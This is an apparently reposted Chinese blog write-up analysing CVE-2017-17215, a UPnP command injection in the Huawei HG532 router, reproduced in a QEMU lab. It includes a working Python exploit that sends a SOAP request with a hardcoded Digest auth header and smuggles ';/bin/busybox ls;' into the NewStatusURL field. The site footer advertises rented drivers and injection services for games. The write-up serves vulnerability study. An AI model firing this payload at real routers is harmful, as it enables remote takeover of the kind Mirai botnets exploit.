Canvas is not supported in your browser.
首页 课程 文章
无痕注入 APC注入 线程注入 读写驱动 注入技术 句柄表 进程线程 系统调用 保护模式 内存管理 远程CALL 软件调试 驱动封装 云下发 驱动开发 FPS数据 方框透视 FPS方框 FPS自瞄 CE D3DHOOK D3D绘制 Imgui绘制 DWM
内核课程 驱动出租 学习路线 聊天室 免责声明 提问技巧

智能设备-华为HG532路由器命令注入漏洞分析(CVE-2017-17215)

推荐 原创

周杰伦

文章分类 游戏逆向 游戏开发 编程技术 加壳脱壳 阅读数 : 710 阅读时长 : 9分钟

本文为作者第一个分析的IOT设备命令注入漏洞，架构为MIPS（路由器设备印象中只有tenda和netgear为arm架构）。网上已经有一系列的复现文章，但在环境搭建、漏洞分析等方面存在不够深入，本文进一步深入分析漏洞函数的调用链旨在了解命令注入漏洞的一般原理，同时为新手入门调试IOT设备漏洞作参考。

漏洞介绍

2017.11.27 Check Point团队报告华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215)，Mirai的升级版变种中已经使用该漏洞。该漏洞payload由蜜罐所捕获发现，利用原理是利用upnp服务中的注入漏洞实现任意命令执行。漏洞与/bin/mic下的37215端口有关系，该文件通过37215端口启动upnp协议(通用即插即用)，之后调用了system()函数。因此可以向目标路由器通过此端口发送POST数据借此调用到system()函数，导致攻击者可以通过此数据包远程命令注入且执行，进而控制路由器。

环境搭建

下载固件

1
2
git clone https: / / gitee.com / p1piyang / backward - analysis
cd backward - analysis / CVE - 2017 - 17215

可以看到固件和exp
图片描述

提取固件

1
2
apt install binwalk     #需要提前安装binwalk
binwalk - Me HG532eV100R001C01B020_upgrade_packet. bin

构建qemu虚拟机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#下载qemu虚拟机
sudo apt - get install qemu
sudo apt - get install qemu binfmt - support qemu - user - static
 
#下载镜像
wget https: / / people.debian.org / ~aurel32 / qemu / mips / debian_squeeze_mips_standard.qcow2
wget https: / / people.debian.org / ~aurel32 / qemu / mips / vmlinux - 2.6 . 32 - 5 - 4kc - malta
 
#配置网络，创建网桥
sudo apt - get install bridge - utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168 . 10.1 / 24 up
 
#创建tap接口，添加到网桥
sudo apt install uml - utilities
sudo tunctl - t tap0
sudo ifconfig tap0 192.168 . 10.11 / 24 up
sudo brctl addif Virbr0 tap0
 
#启动qemu虚拟机，账号密码都为root
apt install qemu - system - mips
sudo qemu - system - mips - M malta - kernel vmlinux - 2.6 . 32 - 5 - 4kc - malta - hda debian_squeeze_mips_standard.qcow2 - append "root=/dev/sda1 console=tty0" - netdev tap, id = tapnet,ifname = tap0,script = no - device rtl8139,netdev = tapnet - nographic
 
#进入虚拟机后，配置ip地址，测试与主机的连通性
ifconfig eth0 192.168 . 10.2 / 24 up
ping 192.168 . 10.1 - c 10
 
#回到主机中将squashfs-root文件夹复制到虚拟机
scp - r squashfs - root / root@ 192.168 . 10.2 :~ /
 
#挂载
mount - o bind / dev . / squashfs - root / dev
mount - t proc / proc . / squashfs - root / proc
 
#虚拟机速度过慢，回到主机通过ssh远程连接虚拟机，执行漏洞程序
ssh root@ 192.168 . 10.2
chroot squashfs - root / bin / sh
. / bin / upnp
. / bin / mic
 
#此时的虚拟机的路由IP已经发生了变化，ssh已经断开了，所以需要返回虚拟机的终端进行更改IP地址
ifconfig eth0 192.168 . 10.2 / 24 up
ifconfig br0 192.168 . 10.11 / 24 up
 
至此，环境搭建成功，存在漏洞的服务已经启动

qemu虚拟机创建问题

qemu虚拟机无法正常启动，卡在这个界面
图片描述
解决：更换实验主机为ubuntu 16.04（高版本的ubuntu无法正常启动qemu虚拟机，原因是制作 qemu 镜像的过程中，firmadyne 硬编码 loop 设备造成的，导致 loop 设备没有成功挂载到固件的根文件系统https://github.com/liyansong2018/firmware-analysis-plus/issues/40

漏洞利用

运行exp

查看下载的exp，根据我们的配置修改目标主机的ip地址为192.168.10.2，
<NewStatusURL>;/bin/busybox ls;</NewStatusURL>标签为我们实现注入的地方，远程控制执行ls命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
 
headers = {
     "Authorization" : "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
 
data = '''<?xml version="1.0" ?>
  <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
   <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
    <NewStatusURL>;/bin/busybox ls;</NewStatusURL>
    <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
   </u:Upgrade>
  </s:Body>
</s:Envelope>
'''
response = requests.post( 'http://192.168.10.2:37215/ctrlt/DeviceUpgrade_1' ,headers = headers,data = data) 
print (response)  #此处打印服务返回的响应代码，以确定执行效果

在主机中执行exp，可以看到成功实现利用，返回200响应代码，成功执行ls命令。
图片描述

报文分析

按照给定的环境和exp，我们可以成功实现利用，进一步通过分析报文了解漏洞的原理。首先，使用tcpdump进行抓包，抓取所有的经过tap0网卡的网络包，并存到result.cap 文件中。这里存在一个问题，qemu的网卡设备为tap0，是否可以按照普通网卡进行抓包？我们通过查阅资料，搞清了两者之间的区别和联系。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
|                                                                |
|  + - - - - - - - - - - - - - - - - - - - - +      + - - - - - - - - - - - - - - - - - - - - +            |
|  | User Application A |      | User Application B |< - - - - - +     |
|  + - - - - - - - - - - - - - - - - - - - - +      + - - - - - - - - - - - - - - - - - - - - +      |     |
|               | 1                    | 5                 |     |
|...............|......................|...................|.....|
|               ↓                      ↓                   |     |
|         + - - - - - - - - - - +           + - - - - - - - - - - +              |     |
|         | socket A |           | socket B |              |     |
|         + - - - - - - - - - - +           + - - - - - - - - - - +              |     |
|                 | 2               | 6                    |     |
|.................|.................|......................|.....|
|                 ↓                 ↓                      |     |
|             + - - - - - - - - - - - - - - - - - - - - - - - - +                 4 |     |
|             | Newwork Protocol Stack |                   |     |
|             + - - - - - - - - - - - - - - - - - - - - - - - - +                   |     |
|                | 7                 | 3                   |     |
|................|...................|.....................|.....|
|                ↓                   ↓                     |     |
|        + - - - - - - - - - - - - - - - - +    + - - - - - - - - - - - - - - - - +          |     |
|        |      eth0      |    |      tun0      |          |     |
|        + - - - - - - - - - - - - - - - - +    + - - - - - - - - - - - - - - - - +          |     |
|    10.32 . 0.11  |                   |   192.168 . 3.11      |     |
|                | 8                 + - - - - - - - - - - - - - - - - - - - - - +     |
|                |                                               |
+ - - - - - - - - - - - - - - - - | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
                  ↓
          Physical Network

一言以蔽之，tap0网卡和eth0等物理网卡从底层实现看存在一定区别，但从上层看没有任何区别，直接使用tcpdump命令进行抓包。

1
tcpdump - i tap0 - w result.cap

使用wireshark打开抓到的cap包
图片描述
可以看到exp发送的http请求和upnp服务返回的响应。
图片描述
追踪http流，可以看到与我们构造的exp和得到的响应一致。除此之外，可以看出漏洞利用不需要进行用户登录之类的操作，利用过程极为简单。

漏洞分析

POC分析

漏洞利用的流程已经清楚，接下来我们进一步分析漏洞的原理，首先放出来Check Point Researchers的漏洞描述。
图片描述
可以看到，ControlURL为/ctrlt/DeciveUpgrade_1，通信端口为37215，通过grep -r [keywords]指令查看有哪些文件包含这两个词语和端口
图片描述
由此可知，实现漏洞利用的前提条件为运行upnp和mic二进制文件

 

下一步我们分析，发送的url如何处理并最终我们的命令。
由于IDA pro反汇编出来不是很清晰，有些符号表和函数是没有的，所以这里使用Ghidra来看伪代码更加清晰。
首先，通过字符串搜索，查找ctrlt的引用
图片描述
图片描述
UpnpGetServiceByUrl应该就是处理URL的函数
查找‘NewStatusURL’字符串
图片描述
右键跳转到调用字符串的地方，找到关键的伪代码
图片描述
可以看到，一个snprintf函数后面跟一个system函数即可以成功实现命令注入。

 

参考链接：
https://blog.csdn.net/ZripenYe/article/details/122113205?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-122113205-blog-117321765.pc_relevant_multi_platform_whitelistv3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-122113205-blog-117321765.pc_relevant_multi_platform_whitelistv3&utm_relevant_index=1
https://cougar.kim/posts/cve-2017-17215_analyse/
https://www.cnblogs.com/deerCode/p/11919612.html



更多【华为HG532路由器命令注入漏洞分析(CVE-2017-17215)】相关视频教程：www.yxfzedu.com




相关文章推荐

记录自己的技术轨迹
文章规则：
1)：文章标题请尽量与文章内容相符
2)：严禁色情、血腥、暴力
3)：严禁发布任何形式的广告贴
4)：严禁发表关于中国的政治类话题
5)：严格遵守中国互联网法律法规
6)：有侵权,疑问可发邮件至service@yxfzedu.com
近期原创 更多
友情链接
内核结构 FAQ
免责声明
课程目录
Windows内核
游戏逆向(FPS)
技术交流QQ群
342478842 215039827 137189196
314055665 159620936
微信公众号
www.yxfzedu.com是一个分享游戏安全,游戏外挂与反外挂,游戏驱动保护的视频网站！
接各种驱动定制如：游戏读写驱动，软件内存保护，防止调试等功能定制。
出租读写驱动，调试驱动，无痕注入支持各种游戏。
邮箱：service@yxfzedu.com
QQ：851920120
特别说明：不接游戏数据分析，外挂编写，登陆协议等类似业务。